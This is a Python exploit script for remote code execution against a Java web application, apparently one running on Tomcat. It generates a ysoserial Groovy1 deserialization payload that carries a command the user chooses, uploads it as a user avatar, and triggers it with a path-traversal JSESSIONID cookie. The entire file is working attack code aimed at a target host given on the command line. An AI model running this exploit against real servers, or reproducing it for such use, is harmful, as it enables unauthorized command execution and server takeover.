import argparse
import prepare
import sys
import base64
import subprocess
import requests
import time

def gen_payload_session_file(command):
    f = open('./attack.session', 'a')
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'Groovy1', command], stdout=f)


def send_jsession(url):
    cookies = {'JSESSIONID': '../webapps/ROOT/uploads/attack'}
    try:
        r = requests.get(url, cookies=cookies)
        print("send jsession ok")
    except Exception as e:
        print("jsession sent failed")


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("target", type=str, help="Hostname or IP to attack")
    parser.add_argument("command", type=str, help="command to be executed")
    parser.add_argument('-p', '--httpport', type=int, default=8080,
                        help="HTTP port to prepare (default is 8080)")
    parser.add_argument('-r', '--register', action='store_true',
                        help="Whether to register account to upload evil file (default is no)")
    args = parser.parse_args()

    # prepare evil file
    gen_payload_session_file(args.command)
    
    # upload file as user avatar
    base_url = 'http://{0}:{1}'.format(args.target, args.httpport)
    if args.register:
        prepare.register(base_url)
    time.sleep(10)
    sid = prepare.login(base_url)
    time.sleep(10)
    prepare.upload(base_url, sid)
    time.sleep(10)
    evil_file = prepare.queryUploaded(base_url, sid)

    # trigger
    send_jsession(base_url)
    
